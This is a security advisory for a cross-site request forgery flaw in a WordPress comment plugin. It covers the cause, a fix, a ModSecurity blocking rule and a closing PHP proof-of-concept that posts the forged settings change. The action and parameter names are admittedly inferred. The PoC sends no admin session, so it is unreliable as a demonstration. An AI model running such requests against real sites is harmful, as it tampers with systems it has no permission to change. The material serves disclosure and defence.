Atomic Edge analysis of CVE-2026-9730 (metadata-based): This vulnerability affects the Remove NoFollow Commenter URL plugin for WordPress, version 1.0. It is a Cross-Site Request Forgery (CSRF) issue with a CVSS score of 4.3, allowing unauthenticated attackers to modify the plugin’s comment-display setting by tricking a site administrator into performing an action.
The root cause is missing or incorrect nonce validation on the gmz_comment_settings_save function. In WordPress, admin actions typically require a nonce to verify that requests are intentional from the administrator. Without this nonce check, the function accepts any POST request, regardless of origin. This inference is based on the CWE classification (CWE-352) and the vulnerability description. No code diff is available to confirm the exact implementation.
Exploitation requires an attacker to craft a forged request targeting the plugin’s settings save handler. The likely endpoint is a WordPress admin-ajax.php action with the action parameter set to gmz_comment_settings_save or a similar handler. The attacker would embed a malicious HTML form or image tag in an external site, which, when visited by a logged-in administrator, submits the request and changes the plugin settings. The payload would include parameters such as ‘comment_display’ or similar setting field names.
Remediation involves adding a nonce verification check to the gmz_comment_settings_save function using WordPress’s check_ajax_referer() or wp_verify_nonce() functions. Plugins should validate the nonce before processing any state-changing requests. Additionally, capability checks should ensure the user has administrative privileges.
The impact is limited to integrity impact: an attacker can change the plugin’s comment-display setting (e.g., hiding or showing commenter URLs). This could be used as part of a broader social engineering attack but does not directly expose data or allow privilege escalation.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-9730 (metadata-based)
# Blocks CSRF exploitation of the Remove NoFollow Commenter URL plugin settings save handler
# Blocks POST requests to admin-ajax.php with the vulnerable action parameter
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20269730,phase:2,deny,status:403,chain,msg:'CVE-2026-9730: Remove NoFollow Commenter URL plugin CSRF (metadata-based)',severity:'CRITICAL',tag:'CVE-2026-9730'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:action "@streq gmz_comment_settings_save"
"t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-9730 - Remove NoFollow Commenter URL <= 1.0 - Cross-Site Request Forgery to Settings Update
// Configuration: set the target WordPress site URL
$target_url = 'http://example.com'; // CHANGE THIS
// The vulnerable AJAX action (inferred from plugin slug and description)
$ajax_action = 'gmz_comment_settings_save';
// Inferred parameter name for the comment display setting (commonly named 'comment_display' or similar)
$setting_value = '1'; // 1 = enable display, 0 = disable, adjust as needed
// Construct the POST data (nonce is not required due to missing verification)
$post_data = array(
'action' => $ajax_action,
'comment_display' => $setting_value
);
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // for testing with self-signed SSL
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Display results
echo "HTTP Status Code: " . $http_code . "n";
echo "Response body: " . $response . "n";
?>
